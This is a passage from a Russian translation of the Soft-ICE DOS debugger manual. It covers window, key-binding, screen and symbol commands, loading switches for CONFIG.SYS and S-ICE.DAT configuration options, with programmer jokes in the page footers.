WC -- Переключает/устанавливает размер окна кода.

Синтаксис:

WC [размер-окна]

Размер-окна -- десятичное число между единицей и 21.

Комментарии:

Если размер-окна не указан, эта команда переключает окно кода. Если оно не было видимо, оно станет видимым, и если оно было видимо, оно будет удалено.

Если указан размер-окна, окно кода будет изменено или, если оно не было видимо, оно станет видимым с определенным размером.

Обратите внимание:

Если вы хотите переместить курсор в окно кода, используйте команду EC. См. описание команды EC для более подробной информации.

Пример:

WC 12

Если окно кода не присутствует, то создается окно кода высотой 12 строк. Если окно кода в текущий момент - на экране, его высота изменяется на 12 строк.

WD

WD -- Переключает/устанавливает размер окна данных.

Синтаксис:

WD [размер-окна]

Размер-окна -- десятичное число между единицей и 21.

Комментарии:

Если размер-окна не указан, эта команда переключает окно данных. Если оно не было видимо, оно станет видимым и если оно было видимо, оно будет удалено.

Если указан размер-окна, окно кода будет изменено или, если оно не было видимо, оно станет видимым с определенным размером.

Пример:

WD 1

Если окно данных не присутствует, то создается окно данных высотой в одну строку. Если окно данных в текущий момент - на экране, его высота изменяется на одну строку.

EC

EC -- Войти/выйти из окна кода.

Синтаксис:

EC

Комментарии:

Команда EC переключает расположение курсора между окном кода и окном команд. Если курсор был в окне команд, он перемещается в окно кода и если курсор был в окне кода, он перемещается в окно команд.

Когда курсор находится в окне кода, становятся доступными несколько опций, которые намного упрощают отладку. Опции:

* Точки останова типа point-and-shoot Точки останова типа point-and-shoot устанавливаются командой BP. Если в команде BPX параметры не указаны, в ячейку памяти, на которую указывает курсор в окне кода, будет установлена точка останова на выполнение. Курсор должен быть в строке, которая содержит код (переключите окно кода в смешанный режим, если вы не уверены). Заданная по умолчанию функциональная клавиша для BPX - F9.

* Исполнение до строки курсора Вы можете устанавливать временную точку останова в месте положения курсора выполнять команду HERE. Курсор должен находиться в строке, которая содержит код (переключите окно кода в смешанный режим, если вы не уверены). Заданная по умолчанию функциональная клавиша для HERE - F7.

* Прокрутка окна кода Окно кода может быть пролистано только когда курсор находится в окне кода. Клавиши прокрутки (стрелка "ВВЕРХ", стрелка "ВНИЗ", PageUp и PageDown) переопределяются, когда курсор - в окне кода. Когда курсор находится в окне кода, клавиши прокрутки делают следующее:

ВВЕРХ -- Прокрутка окна кода вверх на одну строку ВНИЗ -- Прокрутка окна кода вниз на одну строку PageUp -- Прокрутка окна кода на один экран PageDn -- Прокрутка окна кода один экран.

Обратите внимание:

Для того чтобы команда EC работала, Окно кода должно быть видимо. Заданная по умолчанию функциональная клавиша: F6.

.

. -- Найти местоположение текущей команды.

Синтаксис:

.

Комментарии:

Когда окно кода видимо, команда . делает видимой текущую строку исходного текста или текущую команду.

5.8 Команды Настройки Отладчика

Команды:

PAUSE -- Пауза после каждого экрана ALTKEY -- Устанавливает альтернативную комбинацию клавиш для вызова Soft-ICE FKEY -- Отображает и редактирует назначение функциональных клавиш BASE -- Устанавливает/отображает текущее основание системы счисления CTRL-P -- Выводит сеанс на принтер Print-Screen -- Печать содержимого экрана PRN -- Устанавливает порт для вывода на принтер.

PAUSE

PAUSE -- Пауза после каждого экрана.

Синтаксис:

PAUSE [ON | OFF]

Комментарии:

PAUSE управляет паузами экрана в конце каждой страницы. Если PAUSE включен, вы должны нажать любую клавишу прежде, чем информация в окне будет прокручена. Подсказка отображается в строке состояния в нижней части окна.

Если параметры не указаны, отображается текущее состояние PAUSE.

Значение по умолчанию - PAUSE ON.

Пример:

PAUSE ON

Эта команда указывает, что последующие команды, отображающие информацию в окне, будут ожидать, пока вы не нажмете клавишу, до прокрутки в окне новой информации.

ALTKEY

ALTKEY -- Устанавливает альтернативную комбинацию клавиш для вызова Soft-ICE.

Синтаксис:

ALTKEY [АLТсимвол] | [СТRLсимвол] | [SYSREQ]

Символ -- любой символ (A - Z).

Комментарии:

Команда ALTKEY позволяет изменять комбинацию клавиш для вызова Soft-ICE. Комбинация клавиш изменяется на CTRL + символ, ALT + символ или клавишу SysRq.

Иногда вы можете использовать программу, которая конфликтует с комбинацией клавиш CTRL D, вызывающей окно Soft-ICE. Один из способов обойти эту возможную проблему - использование команды ALTKEY для изменения комбинации клавиш. Другой способ - добавить клавишу SHIFT к текущей комбинации. Soft-ICE не отвечает на эту комбинацию клавиш и позволяет ей вызвать вашу программу. Например, если резидентная программа, которую вы используете, вызывается комбинацией клавиш CTRL D, попробуйте использовать комбинацию CTRL SHIFT D для вызова вашей резидентной программы. На некоторых клавиатурах, для генерации системного запроса вы должны одновременно нажать клавиши ALT и prtsc. Надо действовать с осторожностью, чтобы случайно не был распечатан экран.

Если параметры не указаны, отображается текущее состояние комбинации клавиш.

Заданная по умолчанию комбинация клавиш - CTRL D.

Пример:

ALTKEY ALT Z

Эта команда указывает, что комбинация клавиш ALT Z будет теперь использоваться для вызова окна Soft-ICE.

FKEY

FKEY -- Отображает и редактирует назначение функциональных клавиш.

Синтаксис:

FKEY [название-функциональной-клавиши строка]

Название-функциональной-клавиши -- F1, F2 ... F12.

Руководство по Soft-ICE (DOS) - 15.

286-й, зараженный вирусом, спрашивает программиста-философа: - Программист, я буду жить? - А смысл?

Строка -- Строка состоит из любых допустимых для Soft-ICE команд и специальных символов ^ (каретка) и ; (точка с запятой). Знак ^, помещается в строку, чтобы сделать команду невидимой. Знак ; помещается в строку, чтобы обозначить возврат каретки.

Комментарии:

Команда FKEY используется в командной строке для назначения функциональной клавише строки команд. Функциональной клавише может быть назначена любая строка команд, которая может быть напечатана в Soft-ICE.

Если параметры не указаны, отображаются текущие назначения функциональных клавиш.

Для отмены назначения определенной функциональной клавиши, используйте команду FKEY с параметрами: название-функциональной-клавиши с пустой строкой.

Функциональные клавиши могут также быть объявлены заранее в файле определений S-ICE.DAT. Для подробной информации об объявления функциональных клавиш в файле определений, обратитесь к разделу 6.4.

Использование символов возврата каретки в строке назначения функциональной клавиши позволяет назначить функциональной клавише ряд команд. Возврат каретки обозначается символом ; (точка с запятой).

Если Вы помещаете знак ^ (shift 6) перед определением функциональной клавиши, последующая команда будет невидима. Команда будет функционировать как обычно, но вся информация, отображаемая в окне команд (включая сообщения об ошибках) будет подавляться. Невидимый режим полезен, когда команда изменяет информацию в окне (кода, регистров или данных) но вы не хотите помех в окне команд.

Когда функциональная клавиша сделана невидимой при помощи знака ^, она может использоваться во время ввода других команд без воздействия на их выполнение. Например, если вы используете заданное по умолчанию назначение для F2, вы можете переключать окно регистров клавишей F2, даже если вы частично ввели вашу следующую команду.

Обратите внимание:

У Soft-ICE теперь есть файл определений - S-ICE.DAT. Вы можете поместить назначения функциональных клавиш в этот файл и функциональные клавиши будут автоматически назначены, при загрузке Soft-ICE. Вот синтаксис для назначения функциональных клавиш в файле конфигурации:

Название-функциональной-клавиши = "строка".

При назначении функциональной клавише строки команд в S-ICE.DAT, строка должна быть заключена в двойные кавычки.

Примеры командной строки:

FKEY F2 ^WR;

Этот пример назначит команду переключения окна регистров клавише F2. Знак ^ делает функцию невидимой и знак ; завершает функцию возвратом каретки. Клавиша F2 активизирует или деактивирует окно регистров и даже может быть вызвана при вводе другой команды.

FKEY F1 "G CS:120; R; G CS:"

Этот пример показывает, что одной функциональной клавише может быть назначено несколько команд и что могут быть назначены частичные команды для их завершения пользователем. После того, как эта команда введена, нажатие клавиши F1 вызовет выполнение программы до достижения ячейки CS:120, вывод на экран регистров, затем начало выполнения команды G для ее завершения пользователем.

FKEY F1 WD 3;D DS:100;

Этот пример назначит ряд команд клавише F1. Функция видима и заканчивается возвратом каретки. Клавиша F1 изменит высоту окна данных на три строки и установит начало дампа в DS:100. Пример S-ICE.DAT:

F1 = "WR;WD 2;WC 10;"

Если эта строка помещена в S-ICE.DAT, при загрузке Soft-ICE эта будет строка назначена клавише F1. Нажатие F1 при работе в Soft-ICE переключит окно регистров, создаст окно данных высотой 2 строки и окно кода высотой 10. Для подробной информации относительно назначения определений функциональным клавишам в S-ICE.DAT, обратитесь к главе 6.

BASE

BASE -- Устанавливает/отображает текущее основание системы счисления.

Синтаксис:

BASE [10 | 16]

Комментарии:

Команда BASE устанавливает основание системы счисления в 10 или 16. Основание 10 ограничено в использовании в узком окне из-за ограничений ширины окна. Также ограничивается количество информации, отображаемой в некоторых командах в режиме полной ширины экрана.

Когда текущее основание системы счисления - 10, все числа и адреса, вводимые и отображаемые Soft-ICE десятичными. Когда основание системы - 16, все числа и адреса, вводимых в Soft-ICE являются шестнадцатеричными, за исключением: * Номеров строк исходного текста * Координаты экрана и размеры в команде WIN.

Эти исключения всегда вводятся и отображаются как десятичные числа.

Заданное по умолчанию основание системы счисления - 16.

Пример:

BASE 16

Этот пример устанавливает текущее основание системы счисления в 16.

CTRL-P

CTRL-P --- Выводит сеанс на принтер.

Синтаксис:

CTRL-P

Комментарии:

Когда нажаты клавиши CTRL и P, вся последующая информация, отображаемая в окне команд, также посылается на принтер. Для отмены вывода сеанса на принтер, повторно нажмите клавиши CTRL и P.

Когда вы посылаете много информации на принтер, используя CTRL-P, вы может пожелать отменить команду PAUSE и позволить информации пролистываться в окне без нажатия клавиши.

Print-Screen

Print-Screen - Печать содержимого экрана.

Синтаксис:

Print-Screen

Комментарии:

Нажатие клавиши print-screen производит дамп экрана на принтер. Вся информация с экрана посылается на принтер.

Если вы хотите распечатать карту памяти или информацию помощи, обычно намного быстрее использовать CTRL-P, чем Print-Screen. Это потому что Print-Screen печатает все символы на экране, включая рамки.

PRN

PRN --- Устанавливает порт для вывода на принтер.

Синтаксис:

PRN [LPTx | COMx]

X -- десятичное число между 1 и 4.

Комментарии:

Команда PRN позволяет вам переслать вывод от команд CTRL-P и Print-Screen в другой порт принтера.

Если параметры не указаны, PRN отображает текущий порт, назначенный для принтера.

Пример:

PRN COM 1

Эта команда вызывает перевод вывода от команд CTRL-P и Print-Screen в порт COM 1.

5.9 Команды Управления Экраном

Команды:

FLASH -- Восстанавливает экран при выполнении команд P и T FLICK -- Снижение нежелательного мерцания экрана ("снега") WATCHV -- Включает отслеживание видеорежимов RS -- Восстанавливает экран программы CLS -- Очищает окно ALTSCR -- Изменяет экран на альтернативный WIN -- Изменяет размер окна Soft-ICE.

FLASH

FLASH -- Восстанавливает экран при выполнении команд P и T.

Синтаксис:

FLASH [ON | OFF]

Комментарии:

Команда FLASH позволяет вам указывать, будет ли экран восстанавливаться в течение любых команд трассировки или программных шагов. Если вы укажете, что экран должен восстанавливаться, он восстанавливается за краткий период времени пока выполняется команда P или T. Эта возможность необходима для отладки участков кода, осуществляющих доступ к видеопамяти.

Если команда P выполняется для обращения или прерывания, экран всегда будет восстанавливаться, потому что вызываемая подпрограмма может записывать на экран.

Если параметры не указаны, отображается текущее состояние FLASH.

Значение по умолчанию - FLASH OFF.

Пример:

FLASH ON

Эта команда включает режим FLASH. Экран будет восстанавливаться в течение любых последующих команд P или T.

FLICK

FLICK -- Снижение нежелательного мерцания экрана ("снега").

Синтаксис:

FLICK [ON | OFF]

Комментарии:

Некоторые типы видеоплат требуют ожидания горизонтального или вертикального обратного хода перед выводом символов. Если запись в видеопамять сделана произвольно, при отображении символов появится мерцание. Если при использовании окна Soft-ICE на вашем экране происходит мерцание, вы должны включить FLICK.

На некоторых платах EGA при выходе из Soft-ICE цвета будут восстановлены некорректно. Это - проблема виртуализации видео EGA. Порт 3DA является видеопортом для двух целей. Первая - опрос старыми программами CGA 3DA для hsync и vsync. Это позволяет им избежать "снега" при выводе на некоторых старых платах с контроллером CGA. Вторая - сброс регистра-защелки палитры на платах EGA. В Soft-ICE есть алгоритм, позволяющий избежать необходимости постоянно опрашивать этот порт, которая замедлила бы старые программы, которые предназначены для CGA. Однако возможно случайное возникновение обстоятельств, когда этот алгоритм не сработает. Если вы используете Soft- ICE на экране EGA и вы заметили, что цвета восстанавливаются некорректно, включите FLICK и Soft-ICE будет опрашивать порт 3DA, разрешая проблему.

Когда включен режим FLICK, обновление экрана будет замедлено.

Если параметр не указаны, отображается текущее состояние FLICK.

Значение по умолчанию - FLICK OFF.

Пример:

FLICK ON

Эта команда включает режим FLICK. Это заставляет Soft-ICE ожидать горизонтального или вертикального обратного хода перед выводом символов.

WATCHV

Руководство по Soft-ICE (DOS) - 16.

Подходит сынок к папе и спрашивает: - Папа что значит HDD Format complite? - Это значит, что ты сейчас умрешь!!!

WATCHV -- Включает отслеживание видеорежимов.

Синтаксис:

WATCHV [ON | OFF]

Комментарии:

Команда WATCHV позволяет вам указать, как Soft-ICE должен отслеживать видеопорты. Обычно, Soft-ICE отслеживает видео порты только после выполнения команды INT 10, которая переключает адаптер в графический видеорежим. Некоторые программы не используют INT 10 для переключения режимов. В этих случаях, если WATCHV выключен, у Soft-ICE могут быть проблемы с корректным сохранением и восстановлением экрана. Включение WATCHV заставит Soft-ICE постоянно отслеживать видео порты.

Включите WATCHV, если вы заметите, что Soft-ICE некорректно обрабатывает ваш экран, или если некорректно восстанавливается курсор. Активизация WATCHV может воздействовать на эффективность в некоторых видеорежимах.

Если параметры не указаны, отображается текущее состояние WATCHV.

Значение по умолчанию - WATCHV OFF.

Пример:

WATCHV ON

Эта команда включает режим WATCHV. Это заставит Soft-ICE отслеживать дополнительные видео порты в целях виртуализации.

RS

RS -- Восстанавливает экран программы.

Синтаксис:

RS

Комментарии: Команда RS позволяет вам временно восстанавливать экран программы. Окно Soft-ICE исчезает, пока не будет нажата любая клавиша.

Эта возможность полезна при отладке графических программ, часто модифицирующих экран. При вызове Soft-ICE, он возвращается в текстовый режим. Использование команды RS временно восстанавливает графический экран.

Пример:

RS

CLS

CLS -- Очищает окно.

Синтаксис:

CLS

Комментарии:

Команда CLS очищает окно Soft-ICE и перемещает подсказку и курсор в левый верхний угол окна.

Пример:

CLS

ALTSCR

ALTSCR -- Изменяет экран на альтернативный.

Синтаксис:

ALTSCR [ON | OFF]

Комментарии:

Команда ALTSCR позволяет вам переназначить вывод Soft-ICE из вашего экрана, заданного по умолчанию, на альтернативный экран. Эта возможность полезна, например, когда вы хотите отлаживать графическую программу, без необходимости переключения между окном Soft-ICE и графическим экраном.

ALTSCR требует от системы двух подсоединенных мониторов. Альтернативный монитор должен быть в текстовом режиме, который является заданным по умолчанию для мониторов.

Значение по умолчанию - ALTSCR OFF.

Пример:

ALTSCR ON

Эта команда переназначает экранный вывод на альтернативный монитор.

WIN

WIN -- Изменяет размер окна Soft-ICE.

Синтаксис:

WIN [N | W] [строка-начала длина [столбец-начала]]

N -- Когда задан N, окно будет установлено в узкий режим: 46 символов. W -- Когда задан W, окно будет установлено в полноэкранный режим. строка-начала -- Число от 0 до 17 указывающий строку где начинается отображение окна. длина -- Число от 8 до 25 указывающее, желаемую высоту окна в строках. столбец-начала -- Позиция столбца левой стороны узкого окна. Строка-начала и столбец-начала определяют левый верхний угол узкого окна. Столбец-начала игнорируется, если применяется к широкому окну (во весь экран).

Комментарии:

Команда WIN позволяет вам изменять ширину и высоту окна Soft-ICE на экране.

Если параметры не указаны, эта команда переключает окно между широким и узким режимом вывода на экран.

Если в команде WIN указан только параметр N или W, размер окна будет изменен на запрошенную ширину при текущей высоте. Если число строк плюс начальный номер строки больше чем 25, окно растягивается до нижней части экрана.

Значение по умолчанию - узкий режим WIN.

Примеры:

WIN N 4 9 30

Эта команда заставляет окно выводиться со строки 4 и столбца 30 и быть 9 строк высоты и 46 символов ширины.

WIN

Эта команда переключает ширину окна из текущего состояния (широкое или узкое) в противоположное состояние.

WIN W 10 8

Эта команда заставляет окно начинаться в строке 10, быть 8 строк высоты и иметь ширину экрана.

5.10 Команды Работы с Символами и Строками Исходного Текста

Команды:

SYM -- Вывести/установить символ SYMLOC -- Переместить базу символа SRC -- Переключает между исходным текстом, смешанным режимом и кодом FILE -- Изменить/вывести текущий исходный текст SS -- Найти строку в текущем файле с исходным текстом.

SYM

SYM -- Вывести/установить символ.

Синтаксис:

SYM [имя-символа [значение]]

Имя-символа -- Допустимое имя символа. Имя символа может заканчиваться знаком * (звездочкой). Это позволяет искать, если известна только первая часть имени символа. Знак , (запятая) может использоваться как знак-маска вместо знака в имени символа.

Значение -- Это - значение типа СЛОВО, которое используется если вы хотите присвоить символу определенное значение.

Комментарии:

Команда SYM позволяет отображать и устанавливать символы. Если SYM введена без параметров, отображаются все символы. Значение каждого символа отображается рядом с именем символа.

Если имя символа указано без значения, то отображаются имя символа и его значение. Если имя символа не было найдено, ничего не выводится.

Команда SYM часто полезна для нахождения имени символа, когда помните только часть имени. Для поиска символов доступны два метода поиска по маске. Если имя символа заканчивается знаком *, то выводятся все символы, которые совпадают с фактическими буквами, указанными до знака *, независимо от завершающих букв. Если знак , используется вместо определенной буквы в имени символа, то этот знак является символом- маской.

Если указано значение, всем символам, соответствующим имени-символа, присваивается указанное значение. Все символы имеют значения типа СЛОВО.

Примеры:

SYM FOO*

Отображаются все символы, которые начинаются с FOO.

SYM FOO* 6000

Всем символам, которые начинаются с FOO, присваивается значение 6000.

SYMLOC

SYMLOC -- Переместить базу символа.

Синтаксис:

SYMLOC адрес-сегмента

Комментарии:

Команда SYMLOC перемещает сегментные компоненты всех символов относительно указанного адреса-сегмента. Эта функция необходима при отладке загружаемых драйверов устройств или других программ, которые не могут быть непосредственно загружены LDR.EXE.

При настройке для загружаемого драйвера устройства, используйте значение базы адреса драйвера, найденного в команде MAP. При настройке для .EXE-программы, значение должно быть на 10H больше чем найденная база в команде MAP. При настройке для .COM-программы, используйте адрес базового сегмента, найденного в команде MAP.

Команда MAP отобразит, по крайней мере, два входа для каждой программы. Первый - обычно среда, а второй - обычно сама программа. Базовый адрес программы - значение перемещения.

Пример:

SYMLOC 1244 + 10

Это переместит все сегменты в таблице идентификаторов относительно 1244. + 10 используется, чтобы переместить TSR бывший первоначально .EXE-файлом. Если это - .COM-файл + 10 не обязательно.

SRC

SRC -- Переключает между исходным текстом, смешанным режимом и кодом.

Синтаксис:

SRC [?]

Комментарии:

Команда SRC переключает между режимом исходного текста, смешанным режимом и режимом кода в окне кода.

Если введено SRC ?, отображается текущее состояние.

Пример:

SRC

Эта команда изменяет текущий режим окна кода. Если режим был режимом исходного текста, он становится смешанным. Если режим был смешанным, он становится режимом кода. Если режим был режимом кода, он становится режимом исходного текста.

Руководство по Soft-ICE (DOS) - 17.

- Вы кем работаете? - Я фармацевт. - А, значит в аптеке работаете. - Нет, диск С форматирую.

Функциональная клавиша по умолчанию: F3.

FILE

FILE -- Изменить/вывести текущий исходный текст.

Синтаксис:

FILE [имя файла]

Комментарии:

Если имя файла указано, этот файл становится текущим файлом и начало файла выводится в окне кода. Если имя не указано, выводится имя текущего файла (если он есть) с исходным текстом.

Команда FILE часто полезна при установке точки останова в строке, которая не ассоциирована ни с одним публичным символом. Используйте FILE, для вызова желаемого файла в окно кода, используйте команду SS для поиска определенной строки, переместите в нее курсор и введите BPX для установки точки останова.

Обратите внимание:

Для команды FILE доступны только файлы с исходным текстом, загруженные в дополнительную память (XMS) программой LDR.EXE.

Пример:

FILE MAIN.C

Если MAIN.C был загружен LDR.EXE, эта команда выводит его в окно кода, начиная со строки 1.

SS

SS -- Найти строку в текущем файле с исходным текстом.

Синтаксис:

SS [номер-строки] ['строка']

Номер-строки -- десятичное число строка -- символьная строка, заключенная в кавычки. Кавычки могут быть как одиночными так и двойными.

Комментарии:

Команда SS ищет в текущем файле с исходным текстом указанную символьную подстроку. Если имеется соответствие, строка, в которой была найдена подстрока будет выведена как верхняя строка в окне кода.

Поиск начинается с указанного номера строки. Если номер строки не указан, поиск начинается с верхней строки, отображаемой в окне кода.

Если параметры не указаны, продолжается поиск предыдущей указанной строки.

Обратите внимание:

Окно кода должно быть видимо и быть в режиме исходного текста до использования команды SS.

Пример:

SS 1 'if (i = = 3)'

В текущем файле с исходным текстом ищется, начиная со строки 1, подстрока 'if (i = = 3)'. Строка, содержащая следующее совпадение с подстрокой, становится верхней отображаемой строкой в окне кода.

РАЗДЕЛ III -- Поддерживаемые Возможности

ГЛАВА 6

6.1 Введение

Программный файл Soft-ICE (S-ICE.EXE) может быть загружен как загружаемый драйвер устройства в CONFIG.SYS или как программа из командной строки DOS. Для получения всей силы Soft-ICE, он должен быть загружен как драйвер устройства в CONFIG.SYS. Однако, могут иметься обстоятельства, когда вы можете захотеть запустить Soft-ICE из командной строки DOS или пакетного файла, типа:

* У вас нет расширенной памяти в вашей системе. Soft-ICE можно загрузить как загружаемый драйвер устройства, только если у вас есть расширенная память. * Вы хотите занять НОЛЬ байт обычной памяти. При загрузке как драйвер устройства, Soft-ICE занимает приблизительно 2КБ обычной памяти. * Вам только иногда необходимо использовать Soft-ICE и нет никаких других программ, использующих расширенную память.

В некоторых случаях вам могут быть нужны некоторые возможности, требующие загрузки Soft-ICE из CONFIG.SYS, но не нужно, чтобы Soft-ICE был постоянно резидентным. В этом случае Soft-ICE может быть загружен из CONFIG.SYS, чтобы зарезервировать расширенную память, и потом отключен переключателем /UN, пока не потребуется Soft-ICE. См. часть 6.3.1 для большей информации относительно переключателя /UN.

6.2 Загрузка из командной строки DOS

Вы НЕ можете активизировать все возможности Soft-ICE при загрузке из командной строки DOS. Если вы будете использовать Soft-ICE как автономный отладчик, рекомендуется загружать Soft-ICE из файла CONFIG.SYS.

Чтобы загрузить Soft-ICE из командной строки DOS, введите.

S-ICE

В системах без расширенной памяти, Soft-ICE загружается в самые высокие возможные адреса памяти. Тогда память, используемая Soft-ICE "отрезается", становясь невидимой для программ DOS. Так как общая память, видимая для DOS и ее программ, уменьшается после загрузки Soft-ICE, рекомендуется загружать Soft-ICE до загрузки любых TSR-программ.

В системах с расширенной памятью вы можете загружать Soft-ICE из командной строки DOS, только если вы не используете расширенную память для чего-либо еще (напр. VDISK, CACHE, HIMEM...). Когда вы загружаете Soft-ICE из командной строки или из пакетного файла, Soft-ICE предупредит вас, выдав специальное сообщение. Это предупреждение только напоминает вам, что Soft-ICE перезапишет старшую область расширенной памяти, когда загрузится. Вы можете подавить это предупреждающее сообщение при помощи опции EXTENDED в файле конфигурации Soft-ICE. Для большей информации относительно опции EXTENDED, см. часть 6.4.1.

6.3 Загрузка Soft-ICE как Загружаемого Драйвера Устройства

Чтобы использовать все возможности Soft-ICE, вы должны загрузить Soft-ICE как загружаемый драйвер устройства в вашем файле CONFIG.SYS. При этом становятся доступными следующие возможности:

* Сосуществование с другим программным обеспечением, использующим расширенную память. Загрузка как драйвера устройства позволяет Soft-ICE управлять расширенной памятью, так что вы можете запускать Soft-ICE с программами, использующими расширенную память, такими как VDISK, CACHE и HIMEM. * Отладка на уровне символов и исходного текста. Загрузка как драйвера устройства позволяет Soft-ICE разместить в расширенный памяти буфер для информации о символах и исходном тексте. * Диапазоны обратной трассировки и команда SNAP. Загрузка как драйвера устройства позволяет Soft-ICE разместить в расширенный памяти буфер для информации обратной трассировки. Этот буфер также используется для команды Soft-ICE, SNAP. * Активизация возможностей Soft-ICE по EMM 4.0 * Запуск Soft-ICE с MagicCV или MagicCVW.

Заметьте:

Загруженный, как драйвер устройства в CONFIG.SYS, Soft-ICE резервирует старшую область расширенной памяти для себя и связанных с ним компонент, следовательно не может возникнуть конфликтов памяти. S-ICE.EXE должен быть загружен в CONFIG.SYS до любого другого драйвера, резервирующего расширенную память при загрузке (напр. VDISK.SYS, RAMDRIVE.SYS). Вообще Soft-ICE работает наилучшим образом, если он - первый загружаемый драйвер устройства в CONFIG.SYS.

6.3.1 Переключатели Загрузки Soft-ICE

После S-ICE.EXE в CONFIG.SYS может быть указан один или более переключателей загрузки. Эти переключатели позволяют вам указывать, как Soft-ICE будет резервировать расширенную память. Все переключатели должны начинаться символом / . Есть следующие переключатели загрузки:

* /EXT XXXX -- Сообщает S-ICE.EXE зарезервировать XXXX килобайт расширенной памяти для других программ DOS, использующих расширенную память (напр. VDISK, CACHE, HIMEM,...). Если переключатель.

/EXT не указан, то расширенная память, не используемая Soft-ICE и связанными с ним компонентами будет оставлена, как стандартная расширенная память, но ее количество нельзя гарантировать. Переключатель /EXT полезен, потому что иногда трудно точно определить, сколько памяти используется Soft-ICE и связанными с ним компонентами. Использование переключателя /EXT будет гарантировать, что указанное количество будет доступно для других программ, использующих расширенную память.

* /SYM XXXX -- Сообщает S-ICE.EXE зарезервировать XXXX килобайт расширенной памяти для символов и исходного текста. Если XXXX не указано, то вся остающаяся расширенная память используется для символов. Должно быть зарезервировано достаточно памяти для вашего файла .SYM и всех исходных текстов. Для большей информации об использовании символов и исходного текста, см. главу 7.

* /TRA XXXX -- Сообщает S-ICE.EXE зарезервировать XXXX килобайт расширенной памяти для буфера истории обратной трассировки. Этот буфер используется для диапазонов обратной трассировки и для команды SNAP. Если XXXX не указано, то для буфера автоматически резервируется 10КБ расширенной памяти. Если вы вообще не хотите резервировать память для буфера обратной трассировки, используйте /TRA 0. Для большей информации об использовании диапазонов обратной трассировки, см. главу 9.

* /MCV XXX -- Сообщает S-ICE.EXE зарезервировать XXX килобайт расширенной памяти для MagicCV или MagicCVW. Минимальный объем расширенной памяти, который вы можете указать - 280КБ и максимум - 620КБ. Если XXX не указано, S-ICE.EXE зарезервирует остающуюся память, между 280КБ и 620КБ. См. главу 10 для большей информации относительно работы Soft-ICE с MagicCV или MagicCVW.

* /EMM XXXX -- Сообщает S-ICE.EXE преобразовать XXXX килобайт расширенной памяти в отображаемую память, соответствующую EMM 4.0. Если указано XXXX, то вся остающаяся память используется как отображаемая. См. главу 8 для большей информации Относительно поддержки отображаемой памяти.

* /UN -- Сообщает S-ICE.EXE перейти в защищенный режим, зарезервировать необходимую расширенную память, затем выйти из защищенного режима и выгрузиться. Этот переключатель должен использоваться, когда вы загружаете S-ICE.EXE как загружаемый драйвер устройства, но не хотите, чтобы ваша система оставалась в защищенном режиме. Этот переключатель зарезервирует память для Soft-ICE, и вы должны выполнить S-ICE.EXE из командной строки DOS, когда вы будете готовы использовать Soft-ICE.

Soft-ICE резервирует расширенную память в следующем порядке, независимо от порядка указанных переключателей:

Резервируется приблизительно 120КБ для S-ICE.EXE. Резервируется память для переключателя /EXT, если он указан. Резервируется память для переключателя /SYM, если он указан. Резервируется память для переключателя /TRA, если он указан. Если он не указан, по умолчанию резервируется 10КБ для буфера обратной трассировки. Резервируется память для переключателя /MCV, если он указан. Резервируется память для переключателя /EMM, если он указан.

Если при попытке зарезервировать память для переключателя в вышеупомянутой последовательности, доступной памяти не хватает, S-ICE.EXE делает следующее:

1. Остающаяся расширенная память резервируется для переключателя, обрабатываемого, когда не хватило памяти. 2. Память не будет резервироваться для оставшихся переключателей.

Заметьте:

Если присутствует переключатель /MCV или /EMM, резервируются дополнительные 64КБ расширенной памяти для буфера поддержки DMA.

Переключатели могут быть указаны в любом порядке после DEVICE = S-ICE.EXE. Пример:

DEVICE = S-ICE.EXE /TRA50 /EMM 500 /SYM 2048

Если доступны четыре мегабайта расширенной памяти, этот пример зарезервирует приблизительно 120КБ для Soft-ICE, 2 мегабайта для символов, 50КБ для буфера истории обратной трассировки, 500КБ для отображаемой памяти и оставит приблизительно 1,3 мегабайта для других программ расширенной памяти. Заметьте, что Soft-ICE загрузится в самую высокую область расширенной памяти, оставив оставшуюся память, начиная с 100000H (мегабайтовая отметка).

Руководство по Soft-ICE (DOS) - 18.

- Сколько нужно программистов, чтобы ввернуть лампочку? - Ни одного: это аппаратная проблема, а они этим не занимаются!

6.4 Файл Инициализации Soft-ICE, S-ICE.DAT.

У Soft-ICE есть несколько опций загрузки. Эти опции указываются размещением специальных команд в файле инициализации, называющемся S-ICE.DAT. S-ICE.DAT - текстовый ASCII-файл, который Soft-ICE читает при загрузке. Этот файл может содержать назначения функциональных клавиш, строку автостарта и различные опции конфигурации. Файл может быть создан и отредактирован любым текстовым редактором DOS. При загрузке Soft-ICE из командной строки, S-ICE.DAT должен находиться в текущем каталоге или в каталоге, доступном через вашу текущую переменную PATH. Когда Soft-ICE загружается как драйвер устройства в CONFIG.SYS, S-ICE.DAT должен быть в том же самом каталоге, где находится S-ICE.EXE.

Есть три категории команд, которые могут быть включены в файл инициализации S-ICE.DAT:

* Специальные опции конфигурации * Назначения функциональных клавиш * Последовательность команд инициализации.

6.4.1 Специальные Опции Конфигурации

Любая из следующих опций конфигурации, которые необходимы, должна быть помещена в отдельную строку в файле S-ICE.DAT.

* COMPAQ -- Компьютер Compaq 386 и 386SX и некоторые Compaq-совместимые компьютеры (включая компьютеры, содержащие материнские платы Micronix) имеющий 384КБ из несмежных участков расширенной памяти. Опция COMPAQ необходима, если вы хотите, что бы Soft-ICE использовал эту память. Заметьте, что опция COMPAQ идентична параметру командной строки /C в Soft-ICE 1.X.

* NOLEDS -- Опция NOLEDS сообщает Soft-ICE не устанавливать и не очищать LED-ы клавиатуры, во время вызова окна Soft-ICE. На некоторых клавиатурах существуют проблемы с таймером, которые будут вызывать у Soft-ICE потерю синхронизации с клавиатурой. Если Soft-ICE зависает, когда вы - в окне Soft-ICE, используйте эту опцию. Заметьте что опция NOLEDS идентична параметру командной строки /L в Soft-ICE 1.X.

* NOTVGA -- Опция NOTVGA позволяет Soft-ICE работать на BIOS-совместимых VGA-картах. Много карт VGA не совместимы с IBM VGA на уровне аппаратных средств. Эти карты поддерживают VGA только на уровне BIOS. Используйте этот переключатель если у вас один из таких видеоадаптеров. Заметьте, что опция NOTVGA - то же самое, что и параметр командной строки /V в Soft-ICE 1.X.

* EXTENDED -- Опция EXTENDED заставляет Soft-ICE загружаться непосредственно в расширенную память без предупреждения пользователя при помощи специального сообщения. Она должна использоваться, если вы загружаете Soft-ICE из командной строки DOS и не хотите вывода сообщения и больше ничего не знаете об использовании расширенной памяти. Заметьте что опция EXTENDED - тот же самое, что и параметр командной строки /E в Soft-ICE 1.X.

6.4.2 Назначения Функциональных Клавиш

